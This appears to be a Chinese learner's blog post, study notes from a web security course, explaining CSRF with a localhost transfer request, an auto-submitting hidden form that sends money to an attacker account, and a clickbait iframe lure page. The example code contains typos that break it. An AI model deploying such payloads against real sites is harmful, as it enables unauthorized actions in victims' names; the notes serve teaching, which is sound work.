网易云课堂web安全学习第六天——了解CSRF

最新推荐文章于 2024-04-11 13:45:00 发布

fowlcity

最新推荐文章于 2024-04-11 13:45:00 发布

阅读量178

点赞数

分类专栏：网易云课堂

本文链接：https://blog.csdn.net/qq_43571272/article/details/83755426

版权

网易云课堂专栏收录该内容

12 篇文章 0 订阅

订阅专栏

第一

CSRF漏洞是什么

利用用户已登陆的身份，在用户不知情的情况下，已=以用户的名义完成非法操作。比如恶意留言等

第二

CSRF漏洞的原理

攻击者构造恶意界面恶意界面的内容是从登陆账户转账至攻击者账户用户主动访问，完成转账

转账操作的http网络包

Request URL:http://127.0.0.1:8080/demo/csrf/transfer.php  //这个是转账的url



Cookie:PHPSESSID=hsrccuemrdugv6k09ebs94ojj10   //用户的cookie，会存放用户的登陆凭证


Form Data view source    view URL encoded

toUser: 小红  //被转账人信息
amount：10   //转账钱数

打开页面自动完成转账的恶意代码页面

<body onload="submitForm();">  
//onload 在页面或者图像加载完成后立即发生。 全句意思是自动提交表单

     <div class="tip">加载中，请稍后...</div>
   
     <form id="transferFrom"
           action="http://127.0.0.1:8080/demo/csrf/transfer.php"  //转账地址
           method="post">
              <input type="hidden" name="toUser" value="黑客" />  
                                                          /*value属性为input元素设定值*/
              <input type="hidden" name="amount" value="10" />
     </from>
</body>

//以下代码，提交表单
<script>
       function submitFrom()
            (
              document.getElementtById("transferFrom").submit();
             )
</script>

用iframe弥补from表单提交有明显的页面跳转问题用iframe

<html>
<head>
<meta http-equiv="Content" content="text/html; charset=UTF-8">
<title>琉璃神社绝版写真，不进来看看吗?</title>
 <style>
     body  {background: url("liuli.jpg") repest:}
 </style>
</head>

<body>
      <iframe src="csrf-attack.php?t=0.98733248669" width=0 height=0></iframe>
        /*这个src=""的链接就是自动完成转账的恶意代码页面*/
</body>
</html>